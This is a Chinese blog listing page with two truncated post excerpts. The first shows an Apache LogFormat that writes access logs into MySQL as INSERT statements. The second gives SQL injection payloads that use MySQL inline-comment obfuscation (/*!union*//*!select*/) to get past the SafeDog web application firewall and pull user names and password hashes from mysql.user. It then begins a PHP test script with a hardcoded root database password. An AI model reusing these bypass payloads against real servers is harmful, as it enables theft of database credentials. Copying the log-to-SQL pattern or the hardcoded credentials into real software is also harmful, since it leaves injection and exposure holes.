apache访问日志写入数据库
发布时间: 2022-04-25 16:06:58 评论数: 0
今天发现一个好玩的东西apache访问日志实时写入数据库,这里小松提醒你一般没有必要做,这里只是好玩分享出来的
首先修改apache的配置文件,在配置文件里找到LogFormat和CustomLog,注销原来的,替换成以下内容
LogFormat "INSERT INTO apachelog (ID, dateTime, IP, URL, code, referer, userAgent, size, request) VALUES ( NULL , \”%{%Y-%m-%d %H:%M:%S}t\”, \”%a\”, \”%U\”, \”%>s\”, \” %{Refere ......
服务器安全狗POST SQL注入.
发布时间: 2022-04-21 06:05:55 评论数: 0
不知为何不拦POST的/!XXX/id=1 and 1=2 union select 1,user,password from mysql.user limit 0,1id=1200000 /*!union*//*!select*/(1),user,password from mysql.user limit 0,1<?php
$conn = mysql_connect("localhost","root","123456");
mysql_select_db("test");
$sql = "select * from use ......